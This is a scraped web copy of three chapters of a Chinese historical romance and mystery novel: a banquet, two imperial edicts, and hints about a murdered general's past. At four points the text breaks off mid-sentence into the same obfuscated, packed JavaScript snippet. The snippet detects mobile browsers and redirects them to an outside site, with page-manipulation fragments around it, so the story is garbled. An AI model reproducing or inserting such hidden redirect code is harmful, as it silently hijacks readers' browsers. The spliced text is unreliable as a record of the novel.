林雪意被看得更加不自在,她倏地抽回手,双手拢起药膏就往外走,有些语无伦次道:“可、可以了,我……剩下的我自己涂。” “夫人。” 身后传来的叫声听起来有些漫不经心,却又像是藏着挠人的钩子,林雪意不由得顿住脚步,回想自己是不是慌乱中出了什么错漏。 她不明所以地转身看他,却对上他眼底噙着的一丝笑意。 她仓皇地后退了一步,晏返却像是看热闹不嫌事大一般,偏是往她的方向欺近一步,好看的剑眉轻轻一扬,笑眼望她:“你……害羞了?” 林雪意只觉得心中有弦铮然作响,脸庞越发滚烫,颤声道:“没、没有!” 眼见面前的人笑容越发愉快,林雪意努力按住在心口扑腾的兔子,左右游移着目光道:“其实你大可放心,我会履行承诺。在和离之事公之于众前,我不会有什么逾矩之举。” 晏返脸上的笑陡然僵住。 “……不至于落了你的面子,更不会毁了侯府名声。” 听着面前的人柔声细语,晏返却感到胸腔里的心脏被一只无形的小手慢慢揪紧。 他瞬也不瞬地看着她,总是倒映星河般的双眸沉黑一片,语气也不知不觉冷下来:“林雪意,你认为我是在顾忌这个?” 林雪意敏锐觉察到晏返的不悦,却心生不解:“难道不是吗?” 眼见对方的目光逐分幽沉,空气中逸散开的慑人气势压得她有些喘不过气,林雪意下意识挪动脚步往后退去。 若说早先晏返的表现只是近乎幼稚的怄气,那他此时一步步逼近的迫人样子竟像是真的心有恼意。 可她没觉得自己说得有什么不对。 林雪意暗自嘀咕,后退的双腿却在她失神的这一霎接连顿上坚硬的木料,身体即刻失去了平衡。 就在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14995272|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猝不及防往后坐倒的刹那,逼到跟前的人伸出修长手臂搂住她腰肢,在她坐到身后的太师椅上时,顺势欺身罩住了她。 这姿势过于暧昧,林雪意双眼微瞠,松了手中药膏便想去推晏返,但她一双纤细手腕旋即被他单手扣在他胸膛上。 他仿佛能灼伤人的目光从她发红的那只腕上扫过,脸色又沉了几分:“还敢推?嫌苦头没吃够?” 面前的俊脸近在咫尺,滑过肩膀的乌发垂在她颈侧,随风晃动的发梢挠得她痒痒的,胸口藏着的那只兔子便又开始咚咚跳起来。 周身被显露出侵略性的气息所笼罩,林雪意顿时有些恼恨自己没出息,有手有脚却如此尴尬地被困于方寸之地。 她眼底酸涩,视野中便氤氲开一阵水汽。 在微微模糊的视野中,晏返身躯一僵,灼烫的视线中似乎闪过了一丝慌乱。 他周身戾气立时消散殆尽,冷硬嗓音也缓和下来,叹着气道:“怎么显得像是我在欺负你似的?” 林雪意正想说他就是在欺负她,凝滞的空气就被一阵轻快的脚步声打破了—— “大人,我们县尉……” 连跑带跳过来的小伍在看到厅中这一幕后猛然顿住,他艰难地扭头看向身后雪地里背过身去抬眼望天的深月和墨云,假装自己也在看雪。 林雪意觉得自己浑身上下都在发烧,她忙一拳捶开晏返,起身理了理衣服上不存在的褶皱,走到厅外问小伍:“可是方县尉有要事?” “不不,不是什么要紧的事。”小伍满脸堆笑,向林雪意递来一张请帖,又硬着头皮向面色不善的晏世子递去一份一样的,道,“今日是腊八,我们县尉在衙署备了小宴,望大人和世子赏光。” “好。”林雪意打开请帖扫了一眼小宴的时间,点了点头,“劳烦你转告方县尉,我一定去。” 小伍连声应下,意味深长地看了深月和墨云一眼,一溜烟离开了。 “深月,随我回屋做些准备。”林雪意将雪人似的僵立不动的深月叫过来,临走前狠狠剜了晏返一眼。 晏返将那气鼓鼓的神情完整地收进眼底,唇角不自觉地凝起一点弧度。 他怕见她哭,可他方才竟真的生出一点想要弄哭她的念头。 她连哭的样子都可爱,但想起她昨日靠在他怀中啜泣,他心里又像是被车轮碾过一般。 他舍不得。 方玉宣将小宴的时间定在中午,地点就在县衙的后院。 县衙离此处不远,因此林雪意重新打理了妆容,等深月准备好她吩咐的手信后,主仆二人便慢慢踱步过去了。 “姑娘,我们不等等世子吗?”深月边说边回头去看不远不近缀在后头的晏返跟墨云。 林雪意冷着脸色道:“方县尉是分别给我和晏世子下的帖子,我们自然只管我们的,管他作甚?” “姑娘,您还在生世子的气哪?”深月小心翼翼地瞅了自家姑娘一眼,道,“世子今日的做法确是有些欠妥,可是……” “你可别替他说话。”林雪意止住深月的话头,心中微恼,“他岂止欠妥,简直孟浪!” 77. 交手 深月略微一想,诚恳地点点头。虽然她不太清楚来龙去脉,但若是换了从前,她早就一棍子上去了。 “不过是假装夫妻,我也不是没替他考虑,凭什么还要受他摆布?就凭他人高马大会武功?那跟莽夫又有何区别?” 林雪意在背地里数落了晏返一顿,仍觉不解气,正要再说,前方街市上却有说书先生抑扬顿挫的声音从围聚的人堆里传出来—— “……那水匪的副首领沙豹真是十足狡诈,使得竟是一个一石三鸟之计!到了翌日,黑水帮帮众倾巢而出,那叫一个天昏地暗,飞沙走石,真是山雨欲来……” 深月听到了耳熟的字眼,立刻踮起脚往前张望,眼睛都要看直了:“姑娘,前面是在讲那帮水贼的事吗?” 林雪意知道深月好奇,眼下时间也尚早,便也停下脚步,冲她笑道:“且去听听看。” “各位客官,俗语有言,魔高一尺,道高一丈。那沙豹虽然奸猾,但他哪知我们林御史乃是神仙降世,诸葛再临,端得是一个智计卓绝,算无遗策! “沙豹那厮当自己势在必得,林御史却不费一兵一卒,一招反间计便让整个黑水帮乱成一团!” 那说书先生说到激动处一拍醒木,里三层外三层围着听书的百姓便纷纷拍手叫好。 林雪意虽然离得远,但依稀听到了一点,不免有些脸红。 挤在人堆里的深月却听得开心,跟着鼓掌喝彩起来。她一边拍手一边还不忘对林雪意笑,跟着夸道:“姑娘,您看,这林大人真是智勇双绝。” 林雪意忍笑睨她一眼:“哪有他说的那么神?” “你懂什么?”边上有耳尖的人听到了林雪意的话,腾出喝彩的嘴来反驳她,“那帮水贼在此地横行多年,别人都束手无策,那林御史一来就出奇制胜,让黑水帮全军覆没,定然是有神通的!” “是啊。”一位老者随声附和道,“老身听说,前些日子那帮水贼在清淮江上劫船,整船的人都是因为林大人才保全了性命。林大人功德无量,乡亲们正商量为她立长生牌位呢!” “这……”林雪意心中惊诧,只得就事论事道,“这也不是她一人之功啊……” 一旁的妇人热切笑道:“小娘子你是刚来此地吧?这位林御史来这里短短几日,不但除掉了黑水帮,还揪出了付世仁这狗官,自然得是首功。神机妙算林御史,身先士卒方县尉,骁勇善战季都监,我家妞妞都会唱呢!” 就在林雪意不知该说什么好时,前方传来了一阵豪爽的笑声。 林雪意循声看去,就见方玉宣正跟一个看起来有点眼熟的便装大汉往这边来。 那大汉生得壮实魁梧,面容坚毅,看着跟方玉宣年纪相仿,身材却高出他一截,此时他手中提着一只芦花鸡,那阵笑声便是他发出的。 “林御史。”方玉宣朝她拱手打招呼。 “方县尉。”林雪意快步上前向他回礼,又看向他身侧的大汉,问道,“这位是……” 那大汉一看便是个粗犷的性子,也不等方玉宣介绍,一边拍着他的肩,一边声音洪亮道:“他是那个‘先身士卒’,我么……” 他原本说得眉飞色舞,却突然停住话头,甩开手中芦花鸡便往林雪意身后飞身而出。 那芦花鸡的翅膀本已被秸秆捆住,不料被大汉抛上半空后,秸秆一松,它便挣脱开来,一边咯咯叫着一边挥翅扑腾,在人群中引发了一阵混乱。 拳脚相交之声在这片混乱中乍现。 林雪意蓦然转身,竟然看到那大汉跟走在后头的晏返打在了一处。 那名大汉看着三大五粗,身手却十分灵活,出手极快。林雪意虽不懂武学,但也看得出他拳风刚猛,招式霸道。 晏返今日穿得花哨,招式也跟那穿戴似的华丽起来,同对手过招之间跟游龙一般。他一柄折扇在手,以扇代掌见招拆招,还算是游刃有余。 “小子,看招!”大汉突然大喝一声,身上杀气顿涨。 他化拳为掌,双指成钩,身影竟像是突然蒸发似的消失在众人视野中。 林雪意只感到周身盈满肃杀之气,整条街道突然变得阒寂无声。 她突然心如擂鼓,下意识看向晏返,就见他侧身一退扬手开扇,扇面如蝶在指间飞旋一瞬后渐次折叠收拢,往前一点。 大汉的身躯骤然闪现,晏返的扇子堪堪停落在他肩上,但他粗粝的双指却已顿上了晏返的脖子。 “晏返!”林雪意心头一凛,叫出了声。 街道上的死寂骤然被打破,人群的喧闹声夹杂着芦花鸡的咯咯声顿时如潮水般围拥过来,仿佛刚才发生的打斗不过是一阵烟波幻影。 “咯——”随着芦花鸡发出最后一声尖叫,勾在晏返颈上的手指陡然松开。 晏返朝林雪意望过来,唇角轻轻一扬,一双黑眸便有如盛了星屑般流光闪动。 林雪意正松了一口气,被他这么含笑一望,顿时想起自己刚刚还在生他的气,不由心情微妙地别开了视线。 那一头,收了手的大汉拍拍双手,冲晏返粲然一笑:“好小子,身手不错啊!” 晏返收扇拱手,道:“不过是些花拳绣腿,承蒙前辈谬赞。” “季兄。”方玉宣这会儿已经擒住了那只不停扑腾的芦花鸡,他一面掸落掉在身上的鸡毛,一面对那大汉摇头叹气,“你怎可对世子无礼?” 林雪意闻言想起了什么,向身旁的方玉宣问道:“莫非这位就是……” “可不就是那个‘骁勇善战’吗?”方玉宣苦笑道。 林雪意立刻反应过来。难怪她感到有些眼熟,原来这便是那日带兵围剿黑龙潭的徐州都监季明威。 她有些歉然地上前道:“原来是季都监。那日远远一见,我便叹服季都监神威。怪我眼拙,方才一时没认出来。” “这怎么能怪你?”季明威爽朗笑着道,“今日我未着铠甲,也就是两个眼睛一个鼻子罢了。真要怪就怪老方,帖子都让小伍送去了,就不能再捎句话,向‘神机妙算’介绍一下我?” 方玉宣摸着鼻子笑笑:“那我也确实让小伍带话了,想是小伍忘了。” 林雪意面上不动声色,心里却悄悄抽了一下——她可是知道小伍为什么忘了。 回想起不久前小伍看到的那场面,她不禁又有些羞恼。 偏是这时候她身侧传来一声轻笑,微沉的嗓音不紧不慢地落下来:“怪我。” 林雪意按住心头那只不听话的兔子,没有理睬晏返,借着招呼深月回来的由头往旁边走了两步。 晏返像是没发现她的故意冷落似的,跟上她一步,同方玉宣和季明威寒暄道:“原来方县尉和季都监是旧相识。” “是啊,我跟老方可是一起上过战场的交情。”季明威直接勾住方玉宣脖子,将半个身体的重量都压在他肩上,“你们别看老方这个样子,他年轻的时候,可是军中的千户呢!” “季兄,怎么说得好像我现在就十足潦倒似的?”方玉宣嘴上讪讪,手中动作却不慢,抬肘一挡便将季明威的虎躯架开,顺手将芦花鸡抛给对方。 “嗨! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15019359|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这人就是倔!”季明威接住芦花鸡,叹了口气,眼中似有隐怒,“当年你若是肯服个软,以你的才干,怎么会被丢到这个犄角旮旯里来?” 方玉宣看向一旁面露不解的林雪意,和颜悦色道:“只是些旧事罢了,不足挂齿。今日衙门施粥,我便四处看看,正巧就碰见了几位。既然贵客已至,便就随我入席吧。” 此处离衙门只有一小段距离,约莫半盏茶的功夫,几人便到了县衙前。 季明威将带来的芦花鸡丢给在门口等候的小伍,算作上门礼物,深月和墨云见状便也将分别带出门的手信交到小伍手上。 年节将至,林雪意和晏返又没有提前商量过,因此他们二人准备的东西都是年盘、屠苏酒一类。 季明威见了又是一阵笑,边走走进院子边道:“老方你不厚道,给人家小两口分头送帖子,让人家送你两份礼物。” 方玉宣无奈笑笑,道:“是我欠考虑了。原本,我单独给世子送一份帖子,乃是有向他请罪之意。” 林雪意此前并未看出晏返和方玉宣之间有什么嫌隙,不免有些一头雾水。她下意识看向晏返,却发现他也有些意外。 “请罪又是从何说起?”晏返问。 方玉宣一面请众人入席,一面解释道:“世子有所不知。那日付世仁让我召集兵员,去黑龙潭支援世子,我心中还颇不以为然,故而有所怠慢,未能在最快的时间里到达,差点延误战机。” 他说着向晏返举杯敬酒,道:“后来世子让人向我传递计策,我才知自己有眼不识泰山。还请世子原谅方某先前的轻慢之举。” 晏返明白过来,却只是轻轻一笑,举杯回敬:“这怨不得方县尉,只怨我素来行事乖张,名声不好。” “嘿嘿嘿,”正在大口喝酒的季明威闻言乐了,道,“晏世子的名声比起晏侯爷年轻的时候,那已经是小巫见大巫了。” “季兄!”方玉宣扫了他一眼。 “瞪我做什么?”季明威不服气道,“我这可是实话实说。何况要不是他,你能至今还只是一个县尉?本来我听说这明远侯的世子来了尹阳,还想着找机会揍他一顿呢。” 见众人看他的眼神有些微妙,他这才有些不好意思地笑了笑,强调道:“虽然今日我确实也跟世子打上了,但这只是武艺上的切磋,绝无私怨啊。” 晏返也没有生气,只是淡淡笑着道:“季都监胸怀坦荡,晚辈受益良多。” 季明威显然对明远侯颇有微词,林雪意从他的话中也听出了他们跟明远侯之间曾经有过什么不愉快,但她作为外人又不好过问,便岔开话题道:“方县尉,这几日我身体抱恙,都是您在四处奔波,我铭感五内。今日敬您一杯,聊表谢意。” 她刚举起酒杯,指尖却倏然一空。她奇怪地往左右瞥了一眼,却发现自己那杯酒已经到了坐在她身侧的晏返手中。 他迎上她不解的目光,温声道:“你身子未好,便以茶代酒吧。” 晏返话音刚落,深月就适时地端了一杯茶来。 林雪意重新举杯,却见方玉宣落在晏返身上的目光有些意味深长。 “方县尉?” 方玉宣连忙回过神来,道:“大人客气了,事关尹阳百姓安危,我也只是在做分内之事。可惜昨日追捕不及时,让凶徒逃了,直至今日,还未有进展。” 想到离公子很可能已经离开尹阳县,线索又要就此中断,林雪意不由得眸光一黯。 就在她垂眸思忖时,外头传来了一声尖细却洪亮的声音:“圣旨到——” 78. 圣旨 几人虽有些意外,却还是即刻起身迎诏。 只见走在最前头的人一身太监打扮,正一边进入前院一边高声道:“监察御史林雪意听旨!” 林雪意连忙和众人一同跪下,听对方宣读圣旨。 “奉天承运皇帝,制曰:夫褒有德,赏元功,古今通谊也。今监察御史林雪意兰质蕙心,卓品宏才,于青州泤水县勘破女子失踪一案,朕实嘉之。兹特赐第聆雪园,赏白银千两,绢布千匹。勉副训词,以俟明陟,钦此!” “臣,林雪意领旨谢恩!” 林雪意接过圣旨,对宣旨太监道:“今日天冷,公公留下喝杯热茶吧。” 太监摇首笑笑:“林御史无需客气。我在来的路上听闻此处有水贼作乱,本就在青州滞留了一日,这便要回去复命了。” “那请公公慢走。” 等到众人将宣旨太监一行人送出门去,深月便迫不及待挽住林雪意,惊奇道:“姑娘姑娘,是不是圣上给您赏赐了?都赏了什么?” 季明威笑呵呵道:“赏了一千两白银,一千匹绢布,还赏了一座园子!” 深月的眼睛顿时亮了,有些难以置信地问道:“姑娘!这么说我们以后回京就有大宅子住了?” 林雪意被她的样子逗乐了,正要点头,就见晏返笑眼望她:“恭喜林御史啊。” 林雪意眼睫一颤,看向他的目光中浮起几丝感慨。 青州一案颇多曲折,她破案的背后有着许多人的助力,深月、墨云、泤水县的衙署上下……还有晏返。 先前一直梗在心头的一口恶气终于烟消云散,她莞尔望着众人,道:“多谢你们。” “那还等什么?赶紧喝酒庆祝去啊。”季明威笑道。 林雪意刚回厅中坐了没多久,就闻见了一阵馥郁的花香。 她扭头一看,就见小伍抱着一大捧白里透粉的梅花进来,献宝似的捧给她看:“大人,给!” 林雪意不禁有些讶然,看向方玉宣:“方县尉,这……” “林大人收下吧,”方玉宣停杯笑道,“就当是给您和世子的回礼。” 季明威听得笑出来,解释道:“付世仁那厮贪图享乐,他在任时将院子扩建了数次。前两日知州大人来信让老方暂代知县之职,老方就让人拆除了那些占用民宅的地块,打算改做养济院。这些梅花就是长在那一带的。” 方玉宣点点头,接道:“正是开花的时候,平白铲了也有些可惜,我便借花献佛,算是替尹阳百姓感谢大人,救民水火,为民除害。” “那我便收下了。”林雪意笑着招呼深月和墨云来帮忙收着,抬手之间,便有纸片从袖中掉了出来。 那纸片又轻又薄,飘飘悠悠地翻飞到了方玉宣那一侧。 方玉宣俯身拾起,纸片却因风轻轻一展,他的视线便凝在了上面—— 那是一张小小的画像,画像上的女子目光灵动,艳若桃李。 林雪意见方玉宣递还的手停在半空,正想去接,却发现他看画像的眼神有些奇怪。 “方县尉,怎么了?” “林大人,这画像上的女子,我竟好像在哪里见过。”方玉宣回过神来,边说边将画像还给她。 林雪意想了想,问:“方县尉可是曾经见过芷柔?她与这画中人便十分相像。” “不,不会是芷柔。”方玉宣颇为笃定地摇头,目光渐渐远了,“具体的我也不记得了,似乎只是匆匆一瞥,而且大约是二十多年前的事了……” “二十年前?” “二十年前!” 林雪意心中惊讶,不由脱口而出,却不料跟季明威异口同声。 她讶然看向季明威,就见对方一拍桌子,道:“老方,二十年前,我们岂不是都还在凌将军的麾下?” “凌将军?”林雪意听得心头一跳,心念急转,“季都监,您说得可是昔日的镇国公,威武大将军?” “哎!”季明威重重点头,不知为何扫了晏返一眼。 方玉宣也不由自主地向晏返看去,见晏返也正眼神微妙地看他,面上顿时流露出一丝尴尬。 林雪意瞧见了他们三人的眼神官司,顿时恍然。 先前方玉宣对晏返的别扭,季明威对明远侯的恼恨,全都得到了解释。 她听父亲说起过,昔日威武大将军凌回舟用兵如神,所向披靡,曾为晋朝立下汗马功劳,因此受封镇国公,驻守南境。 十八年前,璃国野心勃勃,煽动其他周边小国群起造反,便是镇国公带兵化解了围攻,最后攻破璃国。 然而好景不长,镇国公府隔年便遭人设计,被诬陷有谋反之心。 而此前与镇国公素有交情的明远侯,彼时正任职大理寺,他不但没有为他求情,反而例数他数条罪状,进谏晋帝要赏信罚必,严查镇国公府。 晋帝听取了明远侯的奏报,命镇国公回京接受调查,却有歹人假传圣旨,镇国公府惨遭血洗。没过多久,前往边境宣旨的官员带回消息,镇国公为证清白,已自戕于军中。 当时此案震惊朝野,满城风雨。 不久之后,大理寺丞查出是璃国余孽对镇国公府蓄意陷害,谋逆之罪子虚乌有。而明远侯揪出了潜伏在京城的肇事党羽,因功被拔擢为参知政事。 因为这件事,明远侯背上了不少骂名。甚至有坊间传言,明远侯曾苦恋镇国公夫人多年而不得,所以才对镇国公落井下石。 方玉宣和季明威既然是镇国公的旧部,自然会对晏返心有芥蒂。 林雪意正想说些什么缓和一下僵滞的气氛,安静的空气却突然被一把明朗的男子嗓音打破—— “圣旨到!监察御史林雪意听旨!” 众人登时全都愣住。 林雪意心中惊诧,不由跟晏返对视一眼,剩下的方玉宣几人也是面面相觑。 这回来宣旨的官员身着紫色官服,看着是一位翰林学士。 “奉天承运皇帝,敕曰……监察御史林雪意,宣德明恩,守职秉义……日前智破黑水帮一事,甚慰朕心。兹特加封尔阶朝奉大夫,锡之诰命。赐良田百亩,黄金千两…… “另,今因豫州有案,事关重大,特命尔暂改道豫州,详查此案。俟豫州案结,尔即继续巡按梁州。钦此!” 旨意之中颇多褒奖,可林雪意听着翰林学士宣读圣旨,心却一分一分地沉了下去。 她领旨谢恩,下意识朝晏返投去一眼,心绪一时有些莫名。 晏返递来一个安抚的眼神,向宣旨的翰林学士上前半步,道:“顾翰林留步。” 对方显然认得晏返,和颜悦色道:“原来是晏世子,不知世子有何见教?” “见教不敢当,只是有些好奇。”晏返微笑道,“方才温公公刚来宣过圣旨,不知顾翰林可曾见到过他?” “自然是见到了。”顾翰林似乎对晏返并不陌生,闻言笑了笑,同他往边上走了两步,压低了声音讲了一阵,而后向众人告辞离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085281|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了。 “一天之内来了两道圣旨……”季明威觑着小吴公公远去的背影,拍了拍方玉宣的背,问,“老方,上面那位的葫芦里卖的什么药啊?” “你小点声!”方玉宣低声斥了一句,“圣意难测,哪是我等能随意猜度的?” 深月见林雪意想得有些出神,不敢打扰,便小心翼翼地问身旁的墨云:“我听圣旨的意思……姑娘是不是升官了?” 墨云肯定地点了点头:“朝奉大夫虽是虚衔,却是正五品。” 季明威听见了二人对话,乐呵呵插嘴道:“管他呢,反正升官总不是坏事,恭喜恭喜……呃,林御史看着好像不太开心?” 见他仍是口没遮拦,方玉宣不由横他一眼:“你小声点!林大人这是受宠若惊!” “别担心。”晏返走到林雪意跟前,将刚才打探到的消息轻声说与她听。 “这边的事是在温公公出发后才传回京城的,陛下索性就重新下了一道圣旨。哪知温公公在青州滞留了一点时日,顾翰林脚程又快,因此两道圣旨虽然隔了几日,却是前后脚到的此处。” 林雪意抿唇点点头,道:“我只是有些意外。圣上命我去豫州查案,那这里的案子怕是要不了了之了。” 付世仁之死还未水落石出,孟长宇提供的线索也是情况未明,而这两桩案子背后似乎都牵扯众多。 方玉宣闻言也不无遗憾,宽慰道:“大人不必过于挂心。虽然方某能做的很有限,但也会留意有关线索,以尽绵薄之力。” 林雪意又想起一事,道:“方县尉,若您又想起了关于那画像上女子的事,可否传讯告知我?” 她隐隐有一种感觉,孟长宇痴迷画上女子,并不像表面上看上去的那么简单。或许,这也是一条极为关键的线索。 “那是自然。” “嗨!要我说,船到桥头自然直。”季明威拍了拍林雪意的肩,给她鼓气道。 他用的力道并不重,林雪意脚下却一个踉跄,脑袋里顿时涌起了昏沉之感。 “你没事吧!”季明威大惊,视线在林雪意和自己的手之间来扫视。 “不关季都监的事,我只是突然感到有些……” “想来是醉了。”晏返含笑接上了林雪意没说完的话。 林雪意顿时有些纳闷,深月比她更加吃惊,道:“可是姑娘方才都是以茶代酒啊?” 方玉宣旋即反应过来,眼带歉然道:“尹阳地界的人都爱饮酒,平日里做菜也爱放酒,今日的菜肴里想必也加了不少。没想到林大人酒量浅,是我考虑不周。” 林雪意明白过来,勉力支着身体摇头笑笑,道了句“失态”。她忍着头晕目眩,向方玉宣和季明威告辞,才刚走到县衙门口,双腿就不听使唤地发软。 边上修长手臂一环,当即将她扶住。 林雪意的额角顿上晏返的肩膀,她抬头对上了他的视线,旋即又别开了眸光。 晏返微微一顿,没有再将她抱起来,而是顺势牵起她手往自己肩上一搭,错步到她跟前俯身。 “我背你。”前方传来的语声无波无澜,却无端让人感到心头微颤。 林雪意此时身体酸软,视野迷茫,想靠自己走回去显然有些异想天开,只得暗叹一声“识时务者为俊杰”,伏在了对方宽大的背上。 季明威看看远去的林雪意一行人,又看看站在原地不动的方玉宣,没头没脑地冒出了一句:“老方啊,这下你该死心了吧?” 79. 厚颜 方玉宣不经意间微蹙的眉皱得更深了些,仍是盯着几人的背影,答非所问:“季兄,方才在席间,晏世子顺走林御史手上酒杯的那一招,像不像是将军当年自创的‘雾里探花’?” “老方你就是爱钻牛角尖。”季明威翻了个白眼,不以为然道,“那小子长得跟将军确有几分相像,但他不可能是小豆丁。我试他武功时使的那招‘探囊取物’,小豆丁可是三岁就看出了破绽。” “那你说……他会不会是故意输给你?” “方玉宣你这人也忒没劲了,挖苦我作甚?”季明威顿时横眉倒竖,瞪他一眼,“要不是你说什么他有故人之姿,我才不会大老远跑过来。” 方玉宣摸了摸鼻子,笑道:“我不是说你武功不济。” “你就别多想了。他要真是将军的儿子,怎么可能认贼作父?” 方玉宣不置可否地“嗯”了一声。 季明威瞥见他眉间郁色,大手一环勾住他脖子,沉下嗓音语重心长道:“老方啊,我知道你一直对将军的死耿耿于怀,但是这么多年过去了,该放下了。” 方玉宣眉眼平和地看着县衙外头的熙熙攘攘,目光却有些惨淡。 他停顿片刻,才有些自嘲地道:“当年将军就死在我面前,可时至今日我还未能替将军报仇,谈何放下?” “我看快了。”季明威望向林雪意几人消失的方向,“这小姑娘要去梁州查案,我想十有八九就和璃国有关。小姑娘显然有些本事,晏家那小子……也还不错吧。” “可是他们被牵扯进那桩旧事里,恐怕不能善了。” “你还怪惜才的嘞!那能怎样?尽人事,听天命呗!” 两人的谈话声被街道上喜气洋洋的喧嚣声淹没,而另一头,林雪意觉得自己也快被路人不断投来的惊奇目光淹没了。 虽说她知道此地不比京城,还讲究男女大防,但也不必像打量珍禽异兽一样围观她吧? 她只觉得不断有热度从脖子根漫上来,不知是因为醉酒还是因为羞怯。 她努力梗着脖子,但那一大捧梅花的香气隐隐约约从身后传来,似乎让她醉意更浓,连抬着头都费劲。 背着她的晏返却忽而轻笑一声。 “你笑什么?”林雪意在晏返看不见的角度剜了他一眼。 “夫人啊……哦,”晏返像是想起了什么似的,忍着笑道,“我的意思是,至少在外人眼中,你是我明媒正娶的夫人。可对?” 林雪意不知道他葫芦里卖的什么药,点了点头。 “即便将来真的和离,在外人眼中,此时你我也确实是夫妻。可对?” 林雪意隐隐觉得这话有些不对劲,但是一时又听不出什么问题,迟疑一瞬后也轻轻点了点头。 “那便是了。”晏返接着道,“光天化日,朗朗乾坤,我背一下自己的夫人怎么了?” “……” 良久,林雪意缓缓叹出一口气。 两人此时已经渐渐走出了街市热闹的地段,因此她声音虽轻,却清清楚楚地传进了晏返耳中—— “晏世子,有些方面,本官真的应当向你学习。” “林大人指的是什么?” “厚脸皮。” 晏返正想发笑,环在他身上的双臂却倏然收紧了些,背上的人似乎是垂下了头,下巴轻轻地抵在了他肩上。 他扬起的唇角不由凝住,幽幽往颈侧瞥去一眼。 丝缎般的乌发从她肩侧滑过,像是有了生命一般,丝丝缕缕飘舞在他身前,在雪后初晴的阳光中熠熠生辉。 她的脸颊不经意间挨上他的耳廓,软软的,烫烫的,可以想见此时那张艳若芙蓉的面庞是何种颜色。 他不禁停下脚步,放轻了呼吸问:“睡着了?” “没有。”耳边传来的语声不同于她往日说话的清朗,如晶莹细雪,如燕语呢喃,“我只是身体乏力,神智却是清醒得很。” 晏返笑着摇摇头,继续抬步迈入巷中,道:“林雪意,你虽然酒量不好,但酒品还不错。” 他刚夸完,背上的人却突然冒出一句:“我欠你一条命。” “怎么突然说胡话了?”晏返不由眉头一皱。 “在泤水县时,若不是你,我已死于毒针之下。”林雪意合上双眼慢慢道,“今日我冲你发火,委实有些忘本。” 晏返却不知在想些什么,并没有立即回答。 过了片刻,他才戏谑道:“那不如……夫人你亲我一下,算是报答为夫的救命之恩?” “……登徒子!” 虽然知道晏返只是嘴上占她便宜,林雪意还是感到自己额角的青筋跳了一下。 “那不就是了?”晏返的语声沉了沉,“就因为我救了你,你便要接受我的予取予求吗?” “我救你,只是因为我能救,我想救。我从未想过要你报答,更没有想过要以此强迫你妥协让步。 “林雪意,你的命是你自己的。但我希望,你能好好珍惜。” 晏返的声音不大,正好能传进她耳中,但不知是不是因为她此时闭着眼睛的关系,林雪意只觉得自己心里有根弦,被他的字字句句掠得幽微发颤。 就在她不知道该说什么的时候,对方又道:“不过呢,我还是要提醒一下林大人,莫忘了还欠我一件事。” “我何时欠你的?” “你生辰那日,南风馆。” 原本林雪意听到前半句,正要斥他胡说,可听到后头那个“南风馆”,她猛地住了嘴,差点咬到自己的舌头。 那日她发觉柳笙有问题,为了方便向老鸨问话,就带着晏返去闯南风馆。 当时晏返确实问过她要用什么来还,那时她的回答好像是…… “‘你说了算’,当日你可是满口答应的。”晏返适时提醒她。 林雪意顿时感到有些泄气。都怪她当时夸下海口,现在不知道晏返会怎么捉弄她。 但君子一言驷马难追,她当然也不会反悔。 “那你想如何?” 话问出口,林雪意却没有听到晏返回答。 她伏在他肩上等着答案,心头那只兔子却又鬼使神差地苏醒过来,在她胸口一阵扑腾。 “我希望……”晏返顿了顿,语气少见地诚挚,“你能原谅我今日的孟浪之举。” 林雪意不由哽住。 梅花香气远远地落在后头,巷子里安静得只能听见晏返徐徐踩上石板的声音。 几息过后,林雪意略有疑惑地开了口:“就这样?” “那夫人以为呢?”晏返反问,巷子里轻轻回荡着他愉悦的嗓音。 林雪意只觉得自己脸颊更烫:“……别占我便宜!” 觉察到背上的人悄悄埋住了脸,晏返一分分扬起了唇角。 前方视野豁然开朗,宅子已经隐约可见。 感觉到肩膀发沉,从耳后传来的呼吸声也逐渐均匀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122671|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他脚下步子便也缓了下来。 